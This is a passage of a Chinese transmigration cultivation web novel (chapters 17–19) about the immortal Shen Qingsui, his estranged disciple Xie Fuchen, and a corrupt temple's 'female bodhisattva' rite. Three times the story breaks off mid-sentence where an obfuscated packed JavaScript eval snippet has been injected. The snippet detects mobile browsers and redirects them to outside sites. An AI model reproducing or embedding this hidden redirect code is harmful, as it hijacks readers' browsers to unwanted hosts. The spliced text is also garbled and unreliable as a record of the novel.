“怀微君。”谢负尘垂眸看他,眼里晦暗不明,“臧师父看您伤成这样,一定又要生气了。” 又想用臧啸春来压他?沈轻随把脸一沉:“是不是平时太惯着你了?连术阁是谁当家都忘……咳,咳咳!” 谢负尘胸口的起伏停了一瞬:“弟子不敢。” “不敢?你会不敢?”沈轻随咳得头昏眼花,愈发来气,心里把那头耽误他指点江山的黄毛秃驴咒了个底朝天,“你太有本事,太有主意,我哪里还支使得动你!” 谢负尘脸绷得紧紧,一言不发。 “术阁不用回了,臧啸春你也别见,一会儿把我放下就跟着宁玉缺滚蛋,东西我回头让风天阳收拾了给你送去——别想着出什么损招,我问你应是不应!” 谢负尘偏过头去:“不应。” “你……!”他一脸油盐不进的执拗,看得沈轻随急火攻心,咳得更厉害了,整个人几乎曲成了一张弓。 忽然喉中一热,一口腥甜的血涌了上来,正好头又是仰着的,这口挨千刀的血不仅没吐出来,还不偏不倚地卡在了嗓子眼。 沈轻随脸色倏地一片惨白,没一会儿就失去了意识。 17. 风雨欲来 再次醒来,躺的已经不再是荒郊野岭,而是衔风居那张锦被舒软的大床。 阳光自半开的窗中斜斜打进,多宝阁上被人新置了一个青色的细颈胆瓶,里面插了一根窈窕的柳枝,在风里晃着,招来两只啄食的雀儿。 这两只雀儿毛色鲜亮,一只翅膀带蓝,一只尾羽泛红,在窗口蹦蹦跳跳。不知怎么的,蓝色那只啄了一口红色那只,一步步把它逼到了花瓶边,突地一撞,花瓶倾倒,柳枝翻了出来,刚好打在红雀的背上。 这一闹,蓝雀扑棱着飞了,留下红雀儿一只伏在窗边一动不动。 沈轻随觉得自己肯定是躺太久躺出毛病来了,闲得发慌看鸟打架,走过去把花瓶扶了起来,拍拍红雀儿的屁股,笑道:“我这里没谷子吃,回去吧,找妈妈给你抓虫子。” 谁知红雀儿竟把身子一扭,跳上了他的手心。 手里托了这么一团毛毛乎乎的小东西,沈轻随心都软了,生怕自己笨手笨脚弄伤了它,挥手斥它离开。 红雀儿拍了两下翅膀,不仅不走,还顺着他的手臂一路往上跳,爬上肩膀,在他颈边蹭了蹭,轻轻一啄。 沈轻随无奈笑道:“唉,我又不是你妈。” 他把窗子支得更高了些。忽见篱笆外迎来一个人,咚咚的脚步声把雀儿惊得飞起,咕叽缩进了床上的被子。 来人正是风天阳。 他挎着一只精致的餐篮,春风满面地走了进来:“怀微君您终于醒啦!先吃点东西,等下还要去掌门殿补办拜师典仪呢。” 沈轻随心中一惊,收徒仪式应该在试训结束后一个月,他竟然昏睡了这么久吗? 风天阳手脚很快,不一会儿,桌上就多了几样漂亮的鲜汤甜羹、粥点小菜,碗碟的形状花纹都被精心挑过,甚至还配上了对应的摆盘花草。 面对这么一桌佳肴,沈轻随难得没立马暴露好吃懒做的德行,矜持地沉默了。 默了半晌,他看向风天阳道:“告诉我,这些是你做的。” 风天阳干笑两声:“啊哈哈哈,其实……” “快说,这些是你做的。”沈轻随把筷子一摔,“不然我不吃。” 风天阳一脸为难,眼睛乱瞟,支支吾吾半天,沈轻随终于叹了口气:“我不饿,走吧,直接去掌门殿。” “哎呀,您睡了这么久,怎么会不饿呢?”门边忽地转进来一个红衣少女。她周身环佩叮当,一双大眼睛忽闪忽闪的,小兔子似的跳到桌前。 武寅月笑嘻嘻地看着他:“其实都是我做的啦,师尊知道您受伤了,特地差我来术阁看您!” “……”沈轻随再次沉默了。 少女你演技太差了啦!这又是金戒指又是金手链的,一看就是十指不沾阳春水的手好吧! 武寅月见他不动,端起粥碗塞到他嘴边,噘嘴道:“哎呀,您就尝一口嘛,人家辛苦做了好久呢,怎么一点面子也不给啦!” “哦?原来是你做的?”沈轻随碰上这种萌妹子就忍不住想逗,“那你说说看,这粥里都放了些什么呀?我让阿阳学一学,回头馋了让他给我做来。” “这……”武寅月把粥端到眼前看了又看,“放了米,还有……还有红豆?” 沈轻随笑得想死,拍拍屁股站了起来:“这桌都凉啦,不吃了,我去掌门师兄那蹭顿热乎的。走了!” 他使坏使得心满意足,得意洋洋地跨出院门,却见一个黑不溜秋的小东西正蹲在山阶上出神。 “宋湖?”沈轻随走过去跟她并排坐着,问道,“你手怎么样了?有给施老看过了吗?” 宋湖闷闷地点了点头,道:“我是不是很没用啊?” “怎么会!谁说你了?”沈轻随大惊,帮她把歪掉的辫子正了正,“你的剑法比剑阁那帮蠢货好多了,去年花朝会不是还拿了第一吗?不许这么想。” “真的吗?”宋湖抬起头。 沈轻随道:“嗯,真的。” “那我也想拜无阙剑为师可以吗?” “……可你是术阁的弟子。” “可谢师弟也是术阁的弟子!” 沈轻随在她头上拍了一下,回头对扒在门口偷看了半天的风天阳和武寅月笑道:“你们三个都串通好了吧。他人呢,怎么不亲自来说?” 风天阳藏不住事,讪讪地点了点衔风居。 武寅月瞪了他一眼,上来拦道:“哎呀,您怎么这么狠心啦!谢师弟到底犯了什么大错,您会这么讨厌他,拼了命也要赶他走?说出来让他改了不就好啦?” 沈轻随语塞,总不能说这是系统的任务吧?不这样世界就会毁灭?鬼才信! 他绕开武寅月,几步掠进衔风居,抬手挥出一个结界,把追上来的三人隔绝在外。 之前心软了这么多回,这次绝对不能再拖了,非得把他送走不可! 衔风居中安静如死。 谢负尘坐在桌前,听见他进来也不抬头,道:“粥里放了糯米、薏米、红枣、红豆、莲子,还有冰糖。” 本来他不说还好,说了反而拱起沈轻随的火气,讽道:“这些年下来就学会怎么煮粥了?好本领啊好本领,预备给谁当上门女婿去?” 谢负尘这才抬头看了他一眼。 沈轻随沉着脸往门上一靠:“你是在威胁我吗?” 谢负尘道:“是。” 居然如此坦诚,沈轻随噎了一下,哼道:“终于承认了?你的‘弟子不敢’呢?” “不敢欺瞒仙君。”谢负尘站起来走到他面前,一张脸苍白得可怕,“只是我不知道,仙君既然如此憎恶于我,想方设法地要将我赶走,当初又为何要把我带离御灵,又为何要在我葬身鳄沼之际出手相救。” 不是询问,是质问。 “所以我的回报就是被你威胁?”沈轻随冷声道,“换了谁我都会救,你不用自作多情。” “仙君自是心怀众生,谁都救得…… “可若是救而不养,又与凌迟何异?”谢负尘眼中分明闪过一丝痛色,脸上却勾起一个眉眼弯弯的笑来,“偷来的时光岂能长久?我一早便知。这条性命既是仙君所救,今日倒不如一并还给……” 沈轻随最看不得他这副咄咄逼人的样子,猛地掰过他的脸,抬手就要给他一个耳光。 谢负尘下意识闭上眼睛,却听掌风在耳畔生生刹住,脸上轻轻地落了一只骨节冰凉的手。 “你准备怎么还?吊死在我面前?我救下你这条命就是为了给你糟蹋的?”沈轻随深深地看着他,咬牙道,“碰上一点小事就要死要活的,你那股厉害劲哪去了?都被狗吃了?” 他冷笑一声:“不是有本事把整座山的人都哄得服服帖帖,上赶着来替你喊冤求情吗?那请问什么时候也可怜可怜我,偶尔顺一次我意呢?” 谢负尘:“……” 沈轻随推开他,带着一身火气走到桌前,抄起那碗早就凉透的红豆粥囫囵吞了,碗在桌上重重一砸。 缓了一阵,他道:“谢负尘,走吧。缘分到头了。” 说完这句话,沈轻随鼻子骤然一酸。 搞的好像他这三年不是偷来的一样,偷到就是赚到,还了也是应该,还能跟谁撒泼耍赖不成? 天色忽然暗了下来,平地掀起一阵狂风,把篱笆门吹得啪啪作响。黑压压的云里轰隆劈出一个闷雷,活像劈在人心尖上似的,不一会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266340|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆大的雨就噼里啪啦打了下来。 雨丝刮到脸上,沈轻随窗也没力气关,撑在桌上,苦涩地笑了一下:“下雨天,留客天,连老天爷也要和我作对。” 却听身后“扑通”一声,谢负尘对着他直直跪了下去。 沈轻随惊道:“你这是干什么?” 他垂着眼:“请罪。” “你有什么罪?”沈轻随忙上去拉他。 谢负尘抬头看他,眼里像是蓄着天大的委屈,颤抖着落下两行泪来:“我不知道……” 沈轻随的心都要碎了,不忍再看,背过身,偷偷抹了一把眼泪。 只是隔座山的分别就让他难过成这样,后面的日子还怎么过?哪天自己真的走了,这孩子不得疯了? 在沈轻随的认知中,聚如风合,散如云开,一切都应该是云淡风轻的才对,别后各奔各的前程,自赏自的风景,哪至于像现在这样哭哭啼啼难舍难分的? 他心大了一辈子,第一次知道自己还会有这种剪不断理还乱的时候。 后面传来窸窸窣窣的动静,沈轻随回头,却见谢负尘将瓶中柳枝化作了一根手指粗的短鞭,跪下身,双手呈到了他面前:“请仙君责罚。” 他蓦地愣住了,眼前浮现出一根厉害的杨柳鞭,紧接着是一个跪在雪地里,身形单薄的少年。 那少年背上新旧伤痕交叠,周遭是无数的讥讽与谩骂之声。 如果可以重来一次,沈轻随一定会让他从小在锦绣丛中平安长大,无风无浪地过一辈子。可偏偏就是他亲手造就了少年坎坷一生的命运,现在还要人跪在他这个始作俑者面前,亲手把鞭子递来讨打。 沈轻随心里五味杂陈,蹲下身与他对视,干巴巴地道:“你又没有罪,罚什么罚?” 谢负尘眼睫轻轻颤了颤,不肯看他:“您不喜欢,就是我的罪过。” “你这是什么话?”沈轻随刚压下去的火瞬间又被激了起来。 “人是活给自己看的,我喜不喜欢你又有什么要紧?难道说我喜欢,你就价值千金,我不喜欢,你就一文不名?把自己捆在别人身上,这就是你的出息?!” 说了半天,谢负尘仍是一动不动,沈轻随顿时觉得这孩子不教育是不行了,干脆遂了他的意,抄过鞭子在他摊开的手心抽了一记,别起他下巴道:“看着我说话!” 谢负尘的掌心瞬间被抽得一白,而后泛起一条浅红色的印子。 他忍痛的经验太多,这么轻飘飘的一点几乎可以忽略不计,身子连晃也没晃一下,眼神却紧张地躲闪着,小声道:“事已至此,我已经不敢奢望……” “没有什么不敢的。”沈轻随把鞭子一丢,闭了闭眼,脑子里满是沙沙的雨声,“论天资,你是人中龙凤,论模样,更是万里无一。虽然从小命途多舛,但心性坚韧,总有苦尽甘来的那一天,不要一开始就把自己给框死了。” 他叹了口气:“我只说今天这么一次,再想多听也没有了。滚吧。” 谢负尘颤巍巍地站起身,手指紧紧地扣住那条渐渐消下去的伤痕,恨不得它再痛一些,留得更久一些:“我再也不能回来了……是吗?” 他声如细丝,沈轻随心里正乱,没听清楚,胡乱嗯了一声,准备去把油灯点上。 忽而腰身一紧,谢负尘突然扑了上来,跌跌撞撞地把他推到墙边。 桌上的碗碟被震得砰啷乱响,原本插着柳枝的花瓶晃了两下,掉在地上,发出清脆的一声碎裂。 沈轻随被他从背后箍着抵在墙边,头疼欲裂:“又怎么了……” 话没说完,散在背后的头发就被人轻柔地挑开,颈上落下了一个温热而又小心翼翼的吻。 18. 菩萨真容 拜师典仪定在三日后。 这批亲传弟子的人选,臧啸春和沈轻随一早就拟定了,只收两个,一个风天阳,一个宋湖。 沈轻随卧病太久,所以术阁这场是后来单独补办的,相对来说比较简陋仓促,只是将弟子服发了下去,然后在掌门殿的宗门名录上登了两人的名字。 ——在器阁那帮过个清明节都要大操大办的奢侈群体眼里是简陋,但在朴实无华的怀微君教养出来的术阁弟子们看来,那不叫简陋,叫简约! 当然,此时也没有人还顾得上这些细枝末节的小事了。 因为谢负尘不见了。 沈轻随想不通自己一声滚究竟能叫他滚出多远去,把整个术阁翻过来了都没找到人。 一开始他以为是谢负尘终于认命了听话了,谁知上演武场一问,才知道那边压根没见过他,宁玉缺也早就出门去了,根本不在山中。 又把他可能去的地方都找了个遍,甚至还让掌门布阵把整个山庄都探过了,最后发现,谢负尘可能已经离开披云了。 沈轻随终于知道着急了,脑子里成天绕的都是他那句还命不还命的话,连夜把系统叫了出来,心惊胆战地问道:“男主……应该没有自毁倾向吧?” 系统:【您作为《绝世修仙传》世界的造物主,应该自己心里清楚。】 “我现在不清楚了!” 沈轻随有一下没一下地抓着头发:“他现在变得跟我原来设定的完全不一样——也不能说完全,脸还是很贴的…… “不对这不是重点。他那股狠劲明明应该是对外的,旁人负我我必百倍还之的那种,现在是不是过得太舒服了,怎么好像都冲着自己去了?居然还拿‘去死’这种话来威胁我!” 【恭喜宿主成功把握人物“谢负尘”的性格核心:狠。请再接再厉!】 沈轻随:“……” “作为一个合格的系统,你要听得出我是在求助而不是在邀功OK?” 【嗯哼。】 “没跟你开玩笑!”沈轻随想起那个被谢负尘颤抖着抵在墙边的雨夜,心里一阵发毛,在后脖子上狠狠揉了一把,“我说真的,他好像被我养歪了……” 他忧心地道:“这些年来,一个妹子也不收就算了,反正女主还没出场,但他居然连各种比试都不参加了,被我逼着去还故意输掉,生怕拿到名次似的……这会影响到我的任务完成度吗?” 本来他想好了对策,跟戚迟一拍即合,穿书者的存在已经不会再影响后续剧情,觉得自己可以功成身退了。 谁知道闷头干了一场,到头来居然栽在男主身上! “总不能吧?”沈轻随不等系统回答就先发制人,“你们这个机制太差,剧情本来就不可能跟原来完全一样,我只要保证几个关键剧情点不崩就可以了吧?” 【宿主稍安勿躁。要知道,主角是一本小说的核心,是整个世界的基石,所以从根本上来说,您的任务其实是保证人物“谢负尘”的主角地位不被变更。 【考虑到您的能力和经验有限,本系统推荐您以修复原有剧情的方式来完成任务。此法最为稳妥,但并非绝对,如果您有自信,也可以尝试在原有剧情的基础上自由发挥。 【(注:一切后果由宿主自行承担。)】 “……”沈轻随眼皮跳了跳,“所以你的意思是就算他不拜无阙剑为师,只要身份b格不变,拜我其实也没什么区别???” 【从原理上来说,没有区别。但从具体情况来看,无阙剑作为本书第二威武霸气……】 沈轻随想杀人的心都有了:“你他妈怎么不早说?!” 现在人也打了,狠话也放了,男主也已经不知道跑到哪个犄角旮旯去了,完事你告诉我这一切其实都是脱裤子放屁是吗??? 【宿主请冷静,您并未向本系统咨询过相关内容。】 沈轻随差点没背过气去,这破玩意说的……还真没错! 他恨自己竟然能倒霉成这样,在一条错误的道路上费劲巴拉地狂奔,到了才发现原来隔壁就有拉顺风车的! 果然人还是得勤快一点,没事多问问,没准就发现什么隐藏规则了,懒着懒着,可能真的会被自己给懒死! 他正怄得在床上捶胸顿足,突然有人敲了敲他的门。 风天阳道:“师尊,掌门师伯让您过去商议要事。” “不去!”沈轻随头也没回,“我忙着找你谢师弟呢,没空!” 风天阳为难道:“毓华君也在,说是一定要让您过去。” 听到东方尧也在,沈轻随幽怨地“啧”了一声。 ——之前有一次,他到天地炉去试图改进一下炮仗符,没想到用力过猛,把他们的一串炉子都给炸了。 穷鬼沈轻随知道自己倾全部身家也赔不起一星半点,只能死不要脸地赖下了这笔烂账,飞快地毁尸灭迹,脚底一抹油溜了。 谁知当天晚上,他睡觉的枕头就长出了一张血盆大口,咬住他的脑袋啃了一整夜,被子还不知怎地伸出几条湿漉漉黏乎乎的舌头,给他做了个极其重口的人体按摩。 ……沈轻随再也不想回忆那种让人毛骨悚然的恶心感觉,从此对器阁是敬而远之,惹谁也不敢再惹东方尧这尊祖宗。 既然祖宗都发话了,沈轻随只能不情不愿地叹了口气:“行吧。” 掌门殿,议事厅中。 上首坐着一个面枯身瘦的老者,头发稀疏无几,一把白胡子倒是密如绸缎,正是披云山庄的掌门,自号鹤须老翁的蓬山龄。 他右侧下首,东方尧懒懒地卧在一张新巧别致的美人榻上,见沈轻随进来,幽幽笑道:“真是尊贵,还要人三请四请。” 沈轻随没心思像以前一样跟她斗嘴,随便找了个蒲团一坐,就见对面那人正支着一个光溜溜的脑袋在偷偷看他。 却是和尚善游。 这两天事情太多,沈轻随都快把这帮和尚给忘了,如今一见,恨不得把所有的倒霉事都怨到他们身上去,当即冷冷一笑:“和尚,你师兄归西了没?” 善游从他进来起就一直不自在,不料他又突然发难,结结巴巴道:“没、还没……不是,师兄他还活着。” 他手上动作变了又变,好像是下意识想做一个双手合十的动作,但又生生刹住了,最后舞成了个四不像。 “哈哈。”沈轻随笑道,“那你回去告诉他,哪天我心情好了,就来送他一程。” 善游的脸红一阵白一阵,似乎想求他不要,但意识到自己没有这个资格,只能双拳紧攥,低下了头。 “师弟,别吓他了,这位小师父也一直被蒙在鼓里。” 蓬山龄一下一下地捋着胡子:“他师兄慧飞前不久刚被施老救活,醒来后告诉了我们一个关于玄德寺的秘密,正与你所去的那片乱葬岗有关,你可要听上一听?” 沈轻随满脑子都是谢负尘,心不在焉地“嗯”了一声。 蓬山龄道:“想必你们或多或少也听说过一些,玄德寺作为坐镇东南的第一寺,历来有一个传统:每隔五年,就要在七月初七的这一天,从凡界择出一名品貌兼优的女子,为她塑立神像,供入寺中的慈姝殿。这名女子,被人称作是‘女菩萨’。” 东方尧瞥了善游一眼:“女菩萨?我看是选妃吧。” 蓬山龄接着道:“这名女菩萨的金身受人香火供奉,会向上苍求得先天慧根的‘灵童’,而后由住持亲自教养,成为玄德寺下一代的传承。但若是女菩萨受到的香火不够,便无力求得,她的母家也会因此蒙羞。” 东方尧怒道:“居然还有这种事?” 她手指轻巧一勾,善游整个人瞬间扑到了大厅正中,白光光的脑门在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15266341|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一磕,肉眼可见地鼓起了一个大包。 东方尧居高临下地看着他,一只脚踩上他半边脸:“我算是听明白了,什么女菩萨,什么灵童,分明是你们这群妖僧六根不净,借了肚子去生孩子!我呸!” 沈轻随被她一点,也恍恍惚惚反应过来,拍案而起。 “所以那出傀儡戏演的就是这事?新娘指的是女菩萨?怪不得房间里有一个雕成那样的菩萨像,还写了一副骚里骚气的对联……但那些木偶后来又为什么要把我带去乱葬岗?” 他脑中忽然闪过一副冰冷的棺材,紧接着是一阵幽幽的婴孩哭声,大惊道:“你别告诉我,孩子是在棺材里生的!” 善游惊恐地看着他,整个人抖成了筛糠,听着三人一唱一和地审判自己从小长大的玄德禅寺和待他极好的住持,一句话也说不出来。 “正是。”蓬山龄点点头,语气凝重地道,“据慧飞所说,棺中所生之子是为‘官生子’,寓意美满,且在出生之时吸干了母体的养分,接过了那份本属于‘女菩萨’的供奉,所以每个都是‘天生慧根’。” 沈轻随面沉如水:“所以人们表面上在拜凡间成了菩萨的女儿,实际上是在拜这些套了皮的和尚?!” 东方尧听得怒火中烧,一把抓起善游,啪啪就是两个耳光,把他往地上一摔,拔下一根珠钗就要将他开膛破肚:“狗贼!拿你的‘慧根’来给我瞧瞧!” 善游被他扇得两颊红肿,眼冒金星,在地上又滚又爬,连连奔逃,嘴里叽里咕噜地叫道:“菩萨饶命!不,不是,施主饶命!施主饶命!” 蓬山龄拂尘一挥,把善游给卷了过去:“此事非同小可,今天请两位过来,就是想托你们去探查一二,看看是否真如慧飞和尚所说,玄德寺在假托菩萨之名残害生灵。” 东方尧狠狠剜了善游一眼,手上珠钗一掷,把他的手牢牢钉在了地上,听到他的惨叫声这才稍稍舒了一口气,道:“全凭掌门师兄安排。” 沈轻随头又开始疼了,他这两天找谢负尘找得焦头烂额,生怕他一个想不开真吊死了。那不要说女菩萨了,大家都完蛋了! 他甚至还幻想过会像一开始那样,糊里糊涂找个两天后就突然出现一个教书先生,把谢负尘的位置送上门来,好让他即刻赶去领人。 可是现在不一样了,谢负尘是自己被他赶走了气跑了,指不定为了躲他跑到什么深山野林去。这孩子本事那么大,真不想让他找到的话有的是办法。 这个节骨眼上,沈轻随自身都难保了,哪还有什么心思去伸张正义,于是扭出一副虚弱的样子推诿道:“啊……我也要去吗?其实我身子还没大好,何不让宁师弟……” 东方尧横了他一眼:“你前两天满山找人的时候,身子可还好得很!” 蓬山龄捻须道:“不是师兄勉强你,只是我们这毕竟只有你一个亲历者,事关重大,你就辛苦一些,路上让阿尧多照应一下也就是了。你要找的那孩子,我会帮你留心的。” 沈轻随还要再说,却听系统叮的一声弹了出来。 【请宿主接下任务,开启[玄德寺]支线。】 沈轻随烦道:“男主都不见了,我一个人走毛支线?” 【请宿主进入支线,获取灵器[永寿衣]。】 永寿衣??? 沈轻随愣住了。 作为男主称霸天下的四大灵器之一,永寿衣贯穿了后期一大段重要的剧情。 包括但不限于踹掉玄德,一统东南八百庙宇道观,后宫新增尼姑女冠若干,入东海斗恶蛟收龙女等等等等一大碗放飞自我的泼天狗血。 但那都是男主黑化以后的事了,现在他才十七岁,主要任务应该是在披云山庄里到处装逼带妹拉仇恨才对,永寿衣的剧情怎么会来得这么快?! 沈轻随觉得自己这头疼是好不了了。 19. 别离之思 玄德寺建在云溪城内。 东南鱼米之乡,入目满是楼台烟雨,过耳皆为佛庙钟声。白墙青瓦的民居一家接着一家,一户挨着一户,像是许多粉脸乌髻的女儿,紧紧地依偎在一起。 此地尚佛,每隔不远就能碰见一座庙宇,或大或小,或老或新。有冷清的,匾额已经落了朽;也有正热闹的,香烟袅袅不断,在巷陌间盘旋缭绕。 恰是雨过天青,临河的苦楝撑起一团又一团紫红色的花云,船只摇橹而过,向青石桥上的人儿叫卖新鲜摘来的荷花和莲蓬。 沈轻随靠在酒楼窗边,掏钱买了几只,百无聊赖地剥着,攒了一小碟脆生生的莲子,推给坐在对面支颐假寐的东方尧道:“师妹吃吗?” 行走的金牡丹毓华君今天难得收了一身招摇,只着素衣荆钗,未施粉黛,但只消往那懒懒一坐,就能叫人想起烟雨朦胧中簇拥而放的满墙木香。 她没作声,手指在桌上轻轻扣了扣,示意沈轻随注意听隔壁那桌酒客的动静。 “去年不是才选过女菩萨?我还记得是定了林家那个小幺儿,怎的今年刚进三伏,又要选了?” “嗐!你居然不知道……”那人压低声音,“那丫头本来是不想去的,被逼得紧了,诚心要给她爹娘难堪,金像还没塑好就一头撞死在慈姝殿里,把师父们吓得不轻,今年可不就只能再选……” “要我说,她也太没心气!不像我家姑娘,这两天正忙着裁衣裳诵经文,非要在七月初七那天把别人都比下去不可!” 开头那人啧啧道:“那林老爷不是要气死啦?祖上冒青烟的好事,居然就这么砸了,林丫头也真是……” “他气什么?女儿一死,上面送下来一大笔银子,乐还来不及呢!” “嚯!还有这种事?这可得跟我姑娘说说,她弟弟上京的路费还缺呢,过两年又得娶媳妇,和他娘真快愁死了……” 一人讶然:“你也忒没良心!银子值几个钱?给我我也不要。选上女菩萨可是光宗耀祖的大事,你这样对得起你家列祖列宗吗?” 突然“啪”的一声巨响,整个大堂瞬间安静。却是东方尧生生捏碎了一只酒碗,碎陶片猛地飞出,直取几人咽喉。 “你该问他对不对得起他女儿!” 那几人愣在原地,忽听咚咚几声,陶片被什么东西打得一歪,擦着他们的脸飞过,连同几颗白生生的莲子一起,骨碌碌滚到了一边。 沈轻随压住东方尧的肩膀,神色凝重地摇了摇头。 那几人心知他们实力不凡,皆是敢怒不敢言,只能暗地里狠狠啐了几口,连酒菜也不吃了就慌不迭逃出门去,还和两个刚进门的少年少女撞了个满怀。 风天阳和武寅月抱着伞哒哒跑到桌前,先是咕嘟咕嘟灌了一盅凉茶,再是喀嘣喀嘣啃了一把莲子,这才慢悠悠地拿出一幅金箔卷轴,摊给二人看道: “慈姝殿建立于六十年前,除了去年那位姓林的姑娘以外,到现在为止一共有十一位女菩萨,全都在这里啦!” 沈轻随粗略扫了一眼,道:“师妹,你那些小家伙坟挖完了没?” 说的是器阁所制的一种法宝。 巴掌大小的一只,形似蝙蝠,张口一吐便又是一只,如此循环往复,子子孙孙无穷无尽,用完了就原模原样吞回,万千子孙重又并回一只。 此物以火驱动,机巧灵敏,用来传信或是作战都是一把好手——虽然器阁一般都是拿它来当宴会的传菜小童。 “没有。”东方尧道,“乱葬岗那么大,孤魂野鬼没有一万也有八千,要在里面找十来个人哪有这么容易?这两天梅雨又下个不停,福儿们都无精打采的。” 武寅月跳道:“师尊!我去给它们加点油呀!” 东方尧冷笑道:“算了吧,你看那些人的样子,就算把尸体甩在他们面前,又有几个长良心的会认?说不定还指望趁机敲上一笔。我看我们是白费工夫!” 风天阳道:“师尊,那个李家少爷还差人来山里问过什么时候能找到他的媳妇。” 沈轻随扶额道:“天知道啊……” 他还想问什么时候才能找到谢负尘呢——怎么天下人不是生离就是死别,不是一个跑一个找,就是一个丢一个疯,真没意思。 心不在焉地捞了一颗莲子丢进嘴里,突然舌尖一苦,噗地喷了。 运气不好,咬到了一颗苦莲心。 “啧。”东方尧嫌弃道,“阿寅,把你那套金针拿出来。” 武寅月眨眨眼:“干嘛呀?” 东方尧:“怀微君嘴漏了,辛苦你给他缝上一缝。” 风天阳:“哈哈哈哈哈!” 沈轻随瞪了他一眼。 风天阳:“……师尊对不起。” 沈轻随:“……” 毫无诚意! “兵分两路吧。”他站起身,“我上次跟黄毛驴交过手,他认得我的脸,但应该不知道我是谁。到那天你们就打着披云的旗号大大方方上门,见机行事。” 东方尧抬眼看他:“那你呢?” 沈轻随:“我潜到他们后院去,抓几个和尚探探口风再说,到时候咱们里应外合。” 在另外三人看来,这次出来就只是为了探查玄德寺假借菩萨之名害人一事,但他还得留意任务里那件永寿衣。 说来惭愧,沈轻随作为本书的创作者,居然不知道永寿衣是如何形成的,更不知道它具体藏在哪个地方,又该如何获取。 追本溯源,就是因为他从来不写大纲,常年裸奔,书里出现的一切事物工具属性都太强了,有需要就立马出现,用完了又光速消失——就比如这件永寿衣。 原著里的这段,是男主有一次途经云溪,路边偶遇了两个大个打出手的和尚,他闲来无事,就顺手帮了一把那个弱一点的。 没错,只是顺手而已! 于是就收获了和尚小弟一枚,和尚身边的美貌尼姑一位,和尚手里拿着的神兵利器永寿衣一件。 剧情如野狗脱缰,逻辑支离破碎,挖坑不填更是基本操作,这盆狗血终于有一天泼回了自己头上。 沈轻随真想穿回去给写下那段智障剧情的自己来两巴掌醒醒脑子。 你自己看看这是人能有的操作吗??? 虽然当时装逼把妹夺宝一箭三雕的爽是骗到了不少打赏,但是不义之财显然不能长久,现在好了,要连本带利地吐回去了! 风天阳看看武寅月,又看看沈轻随:“师尊,我跟你一起吗……?” 沈轻随斜眼道:“你以为那头黄毛驴不认得你?” “哦……”风天阳挠挠头。 沈轻随顿了一下,拍拍他的肩道:“行了,知道你想跟武妹妹待在一块儿,跟着毓华君去吧。把别人变成鸟的本事都有,给自己变张脸总会的咯?” 风天阳立马漏出一个灿烂的笑容:“嗯!” 沈轻随:“……” 这孩子没心没肺的,心思都写在脸上,伤人都伤得这么天真。还不如谢负尘呢,至少胳膊肘不会成天往外拐,这种时候肯定会跟他一起行动的。 谢负尘啊谢负尘……要是谢负尘在,他哪还会吃到苦莲心,早都被剔干净了! 唉—— 窗外又绵绵地下起雨来,人的愁绪一如这满城零落的楝花,湿哒哒地黏在心头,久挥不去。 七月初七,天上鹊桥会,人间乞巧节。 云溪城内车水马龙,鬓影衣香往来穿梭,都是去玄德禅寺瞧今年“采姝宴”的。 采姝宴从月前开始,一直延续到现在,经过层层筛选,最终留下十二名女子,做最后一轮的比试。 能留下来的无论是品貌还是才学皆为上乘,不管最终入选与否,名声都会传扬在外,吸引各方英杰争相求娶。 所以这天不仅台上热闹,台下的风光也是最好看的。 自巳时起到午时三刻,十二位仙姝相与坐于中庭,穿针结线,剪绣香囊,最后做出一盏并蒂莲灯,供入寺内用于祈福。 谁的莲灯被供在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15266342|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正中,就是谁最终入选的意思。 东方尧先前就让武寅月递过了拜帖,这天换上一袭华贵的衣裙,妆点了满头珠翠,携着武寅月和风天阳两个小童,大摇大摆地到了玄德寺。 门口已有小沙弥在恭候披云山庄毓华君的大驾,见三人已至,忙上前来行礼。 过了寺门,走进一条香客罕至的小路,东方尧发间的一支累丝蝴蝶金簪忽被路边的合欢花树一勾,摇摇欲坠地挂住了。 她似乎浑然不觉,三人跟着小沙弥一路远去。 不一会儿,蝴蝶簪啪嗒一声,掉在了草丛里,一对金珠眼瞳溜溜而转,两只翅膀扑腾扑腾,往殿后的僧房扑去。 玄德寺家大业大,追求气势雄阔,花木所植不多,才扑一会儿就没了草丛遮掩,放眼看去,笔直的灰石大路一览无余。 蝴蝶簪贴着墙根一点一点挪着,忽听身后传来一阵脚步声,应是过路的和尚。它不动声色地扭到一根柱子后面,等着他们过去。 脚步声渐渐慢了下来,大和尚道:“师弟,你看那柱子底下是不是有东西在亮?” 小和尚“啊”了一声:“好像是哎。” 两人说着就走了过来,大和尚捡起蝴蝶簪,喜道:“你说是不是哪位仙姝遗落在此的?” 小和尚道:“要不把它送去中庭问问?” 